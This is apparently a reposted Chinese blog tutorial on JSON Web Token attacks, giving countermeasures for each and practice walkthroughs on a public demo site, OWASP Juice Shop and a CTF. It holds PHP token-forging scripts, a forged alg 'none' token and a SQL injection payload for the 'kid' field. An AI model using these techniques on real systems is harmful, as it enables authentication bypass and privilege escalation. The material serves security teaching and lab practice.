如何深入了解JsonWebToken

本篇文章為大家展示了如何深入了解Json Web Token，內容簡明扼要并且容易理解，絕對能使你眼前一亮，通過這篇文章的詳細介紹希望你能有所收獲。

讓客戶滿意是我們工作的目標，不斷超越客戶的期望值來自于我們對這個行業(yè)的熱愛。我們立志把好的技術通過有效、簡單的方式提供給客戶，將通過不懈努力成為客戶在信息化領域值得信任、有價值的長期合作伙伴，公司提供的服務項目有：國際域名空間、網(wǎng)頁空間、營銷軟件、網(wǎng)站建設、延安網(wǎng)站維護、網(wǎng)站推廣。

前言

0x00 環(huán)境準備

本來想用python DRF 的 JWT做，后來各種失敗。最終嘗試了用Php，發(fā)現(xiàn)非常便利。

PHP 版本 PHP 7.2.4-1+b2 (cli)，也就是kali linux自帶的php，至于composer的安裝方法，以及各個庫的使用方法在此不展開，需要的話可以自己查閱官方文檔

php jwt庫的評測

在jwt.io上有些php jwt的庫，在此說一下使用下來的感覺。只取了評分前三的庫：

firebase/php-jwt Star 3786

支持PHP5/7；
操作非常簡單，但是不具備很多功能，不是很推薦。

lcobucci/jwt Star Star 2729

支持PHP5/7；
不具備JWE的方法，操作簡單；
不具備多重JWS,JWE方法以及其對應序列化方法。

spomky-labs/jose Star 351

僅支持 PHP 7；
功能齊全，具有多重JWE,JWS,以及其對應序列化方法。以上兩個都不具備。

0x01 JWT 攻擊手段

JWT 的攻擊手段包括以下內容：

參考網(wǎng)站：https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//。

1. 敏感信息泄露

當服務端的秘鑰泄密的時候，JWT的偽造就變得非常簡單容易。對此，服務端應該妥善保管好私鑰，以免被他人竊取。

2. 將加密方式改為'none'

下文實戰(zhàn)中的 Juice Shop JWT issue 1 便是這個問題。之前談及過nonsecure JWT的問題。

簽名算法確保惡意用戶在傳輸過程中不會修改JWT。但是標題中的alg字段可以更改為none。一些JWT庫支持無算法，即沒有簽名算法。當alg為none時，后端將不執(zhí)行簽名驗證。將alg更改為none后，從JWT中刪除簽名數(shù)據(jù)（僅標題+'.'+ payload +'.'）并將其提交給服務器。

解決對策：

不允許出現(xiàn) none 的方法；
將開啟 alg : none 作為一種額外的配置選項。

3.將算法RS256修改為HS256（非對稱密碼算法=>對稱密碼算法）

HS256使用密鑰來簽名和驗證每個消息。而RS256使用私鑰對消息進行簽名并使用公鑰進行認證。

如果將算法從RS256更改為HS256，則后端代碼使用公鑰作為密鑰，然后使用HS256算法驗證簽名。由于攻擊者有時可以獲取公鑰，因此攻擊者可以將標頭中的算法修改為HS256，然后使用RSA公鑰對數(shù)據(jù)進行簽名。

此時，后端代碼就會使用RSA公鑰+HS256算法進行簽名驗證，從而讓驗證通過。

解決對策：

不允許 HS256等對稱加密算法讀取秘鑰。jwtpy就是限制了這種方法。當讀取到類似于 "--- xxx key ---" 的參數(shù)的時候應拋出錯誤；
將秘鑰與驗證算法相互匹配。

4. HS256（對稱加密）密鑰破解

如果HS256密鑰強度較弱，則可以直接強制使用，通過爆破 HS256的秘鑰可以完成該操作。難度比較低。解決對策很簡單，使用復雜的秘鑰即可。

5. 錯誤的堆疊加密+簽名驗證假設

錯誤的堆疊加密

這種攻擊發(fā)生在單個的或者嵌套的JWE中，我們想象一個JWE如下所示：

JWT RAW

    header : ...

    payload: "admin" : false

             "uid"   : 123

             "umail" : 123@126.com

             ...

JWE Main

    protected / unprotected

    recipients:

        en_key : key1

        en_key : key2

    cipher : xxx

在攻擊者不修改秘鑰的情況下，對于ciphertext進行修改。往往會導致解密的失敗。但是，即使是失敗，很多JWT的解密也是會有輸出的，在沒有附加認證數(shù)據(jù)（ADD）的情況下更是如此。攻擊者對于ciphertext的內容進行修改，可能會讓其他的數(shù)據(jù)無法解密，但是只要最后輸出的payload中，有“admin":true。其目的就已經(jīng)達到了。

解決對策：

對于JWE而言，應當解密所有數(shù)據(jù)，而非從解密的結果中提取單個需要的數(shù)據(jù)。另外，利用附加認證數(shù)據(jù)ADD，也是非常好的選擇。

簽名假設驗證

這種攻擊發(fā)生嵌套的JWS中。我們想象一個嵌套的JWS,其包括了兩層的部分，其結構如下：

JWT Main

    JWT Sub1

        payload

        Signature2

    Signature

現(xiàn)在，攻擊者通過一定的方式，能夠讓外層的驗證通過的時候，此時，系統(tǒng)還應該檢查內層的簽名數(shù)據(jù)，如果不檢查，攻擊者就可以隨意篡改payload的數(shù)據(jù)，來達到越權的目的。

解決對策：

因此對于嵌套JWS而言，應當驗證所有層面的簽名是否正確，而非驗證最外層的簽名是否正確就足夠。

6. 無效橢圓曲線攻擊

橢圓曲線加密是一種非常安全的方式，甚至從某種程度上而言，比RSA更加安全。關于橢圓曲線的算法，在此不展開。

在橢圓曲線加密中，公鑰是橢圓曲線上的一個點，而私鑰只是一個位于特殊但非常大的范圍內的數(shù)字。如果未驗證對這些操作的輸入，那攻擊者就可以進行設計，從而恢復私鑰。

而這種攻擊已在過去中得到證實。這類攻擊被稱為無效曲線攻擊。這種攻擊比較復雜，也設計到很多的數(shù)學知識。詳細可以參考文檔：critical-vulnerability-uncovered-in-json-encryption。

解決對策：

檢查傳遞給任何公共函數(shù)的所有輸入是否有效是解決這類攻擊的關鍵點。驗證內容包括公鑰是所選曲線的有效橢圓曲線點，以及私鑰位于有效值范圍內。

7. 替換攻擊

在這種攻擊中，攻擊者需要至少獲得兩種不同的JWT，然后攻擊者可以將令牌中的一個或者兩個用在其他的地方。

在JWT中，替換共嘰有兩種方式，我們稱他們?yōu)橄嗤邮辗焦簦缭绞絁WT）和不同接收方攻擊。

不同接收方攻擊

我們可以設想一個業(yè)務邏輯如下：

Auth 機構，有著自己的私鑰，并且給 App1 和 App2 發(fā)放了兩個公鑰，用于驗證簽名；
Attacker 利用自己的秘鑰登錄了 App1。

此時 Auth 機構給 Attacker 下發(fā)了一個附帶簽名的JWT，其payload內容為：

{

    'uname':'Attacker'

    'role' :'admin'

}

此時，如果 Attacker 知道 App1 和 App2 的公鑰是同一個Auth 簽發(fā)的話，他可以利用這個JWT去登錄 App2，從而獲取Admin權限。

解決方法：

在jwt中帶上 aud 聲明，比如 aud : App1 這樣。來限定該jwt只能用于App1。

相同接收方攻擊/跨越式JWT same recipient/Cross JWT

我們可以設想一個業(yè)務邏輯如下：

在同一站點下，有兩個應用程序，wordpress和phpmyadmin，他們都利用了相同的秘鑰對和算法來驗證JWT簽名；
站點管理員知道 Different Recipient 的問題，所以給 wordpress 的應用增加了 aud 驗證，但是 phpmyadmin 的用戶人數(shù)較少，沒有增加 aud 的驗證；
Attacker 利用自己的秘鑰登錄了 wordpress。

此時站點給 Attacker 下發(fā)了一個附帶簽名的JWT，其payload內容為：

{

    'uname':'Attacker'

    'role' :'writer'

    'aud' :'shaobaobaoer.cn/wordpress'

    'iss' :'shaobaobaoer.cn'

}

這個JWT看似非常安全，但這僅僅是對于 wordpress 的應用程序而言，。從而Attacker 可以以 writer 的身份登錄 phpmyadmin。

解決方案：

為所有子應用程序增加 aud 的驗證

8. 其他假想的攻擊方式

JWT + SQL 注入

參考鏈接：https://github.com/greunion/ctf-write-ups/tree/master/2018-nullcon/web/400-web6。

當解密JWT的秘鑰很多的時候，往往需要通過kid來確定使用哪個秘鑰，而keyid參數(shù)通過b64加密來保存，可以被篡改。當keyid要通過數(shù)據(jù)庫API拿取得時候，往往就會聯(lián)想到sql 注入。

我們可以想象一下的攻擊情況：

$keyID = $token-> getKeyID();

$keyContent = sqlAPI -> fromKeyidGetKeyContent($keyID)

###

class sqlAPI():

    function fromKeyidGetKeyContent($keyID){

        $result= Query("select key_content from keyTable where key_id = '$keyID'");

        return $result['key_content']

    }

###

if($token-> verify($JWA,$keyContetn)){

    echo $flag;

}

在下列比較簡易的代碼中，通過讓數(shù)據(jù)庫返回值為我們自定義的key_content。就可以達到破解JWT的目的。

通過注入：

' union select 'easy' limit 1,1--+

即可讓秘鑰改成easy。

0x03 實戰(zhàn)練習

實戰(zhàn)練習1 敏感信息泄露

我搜到了一個demo，在線演示地址為：http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php。

GitHub地址為：https://github.com/Sjord/jwtdemo/。

使用firebase/jwt寫的php-jwt的demo。可以用來完成后面的題目。

為了達到修改jwt的目的，我會把data字段改為：

"data":{

    "hacker":"shaobaobaoer"

    }

該題目地址為：http://demo.sjoerdlangkemper.nl/jwtdemo/rs256。

在知道github項目的情況下，我們變相知道了公鑰私鑰的地址，直接訪問：

http://demo.sjoerdlangkemper.nl/jwtdemo/private.pem

http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

可以拿到公鑰私鑰的內容，之后，利用我們自己的jwt庫進行加密即可。

關鍵代碼如下所示：

$keychain = new Keychain();

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$keychain->getPrivateKey('file://key_box/private.pem'))

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$keychain->getPublicKey('file://key_box/public.pem')));

可以看到，我們已經(jīng)更改成功。

如何深入了解Json Web Token

實戰(zhàn)練習2 Juice Shop JWT issue 1

juice shop 是一個OWASP 的 vulnerable WEB 項目，后端語言為node.js。

當初我做的時候連jwt是什么都不知道，兩道jwt的題目就此跳過了，現(xiàn)在已經(jīng)掌握了這些概念，就可以拿出來回味一下。

關于juice shop 的大部分題解可以看OWASP juice shop 實戰(zhàn)報告。

題目描述

Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.

實戰(zhàn)過程

首先，先用萬能登錄，獲取到jwt 如下所示：

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAifSwiaWF0IjoxNTM0MDYwNTM5LCJleHAiOjE1MzQwNzg1Mzl9.Jivk7Pil6wukFkShzCCaHNq7qmxegvcyD83FkbglT0uYYP0azTW2rM-FH4R8WYneTu1A5gQmUjB6VdFJh8APz5Qej_AA4RP3Q6nH-9qbytxQ5cebiEuuhRSridDxbXxuS0-oquQ0PkRtpenJ75mLJFzVROeaBWgKFNNcFIrV9hs

放到 jwt.io中去解密。可以看到數(shù)據(jù)的架構如下所示：

如何深入了解Json Web Token

之前我們做過實驗，當alg選擇為 none 的時候，是不用對JWT進行簽名的，這樣的jwt也被稱為不安全的jwt。

這道題目的思路就是修改 alg。

當后端不限定alg的時候，這種方法就可以被利用。當然jwt.io是不會讓你把alg改成none的。你需要自己手動改：

如何深入了解Json Web Token

對頭部稍微操作一下，得到的新token如下：

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJqd3RuM2RAanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwiY3JlYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIn0sImlhdCI6MTUzNDA2MDUzOSwiZXhwIjoxNTM0MDc4NTM5fQ

將新的jwt發(fā)送，可以解決這個題目：

如何深入了解Json Web Token

后面還有個jwt issue 2 ，我分解不了公鑰，按照官方文檔的做法也無從下手。做出來的可以交流一二。

實戰(zhàn)練習3 加密方式更改

那個網(wǎng)站的后端代碼是不能夠演示加密方式修改的攻擊方法的。那篇博客有些問題。這邊就給出個樣例。

后端的偽代碼應該如下所示：

# sometimes called "decode"

verify(string token, string verificationKey){

    # returns payload if valid token, else throws an error

}

string token = $input

string verificationKey = file_get_content('rsa_pub.key')

后端代碼應該會判斷jwt的加密方式，其實這種方法是比較局限的。首先對于一個優(yōu)秀的JWT的庫而言，RS256和SH256的認證不會放在一起。另外，HMAC應當禁止公鑰作為secret。

例如：在pyjwt中，這種方法是被禁止的。會拋出錯誤。

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

大概寫了個小腳本，利用了公鑰來簽名，如下所示：

$secret = file_get_contents("./key_box/public.pem");

//var_dump($secret);

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$secret)

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$secret));

實戰(zhàn)練習4 HMAC秘鑰爆破

參考鏈接：https://delcoding.github.io/2018/03/jwt-bypass/。

在這道題目中，訪問web，可以返回一個jwt的字符串：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM

將它解密，可以發(fā)現(xiàn)，算法是HS256，admin為flase。

{

  "alg": "HS256",

  "typ": "JWT"

}

{

  "admin": "false"

}

我們的目標很簡單，只需要將admin轉成true就可以了。而此刻能夠做的只有爆破秘鑰了。你當然可以寫一個小腳本來爆破秘鑰，這里推薦一個工具c-jwt cracker。

通過小工具，我們能迅速跑出秘鑰來,我的vps大概用了2m跑出了秘鑰 54l7y。

如何深入了解Json Web Token

提交JWT即可得到flag。

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1. 敏感信息泄露

2. 將加密方式改為'none'

3.將算法RS256修改為HS256（非對稱密碼算法=>對稱密碼算法）

4. HS256（對稱加密）密鑰破解

5. 錯誤的堆疊加密+簽名驗證假設

6. 無效橢圓曲線攻擊

7. 替換攻擊

8. 其他假想的攻擊方式

0x03 實戰(zhàn)練習

實戰(zhàn)練習1 敏感信息泄露

實戰(zhàn)練習2 Juice Shop JWT issue 1

實戰(zhàn)練習3 加密方式更改

實戰(zhàn)練習4 HMAC秘鑰爆破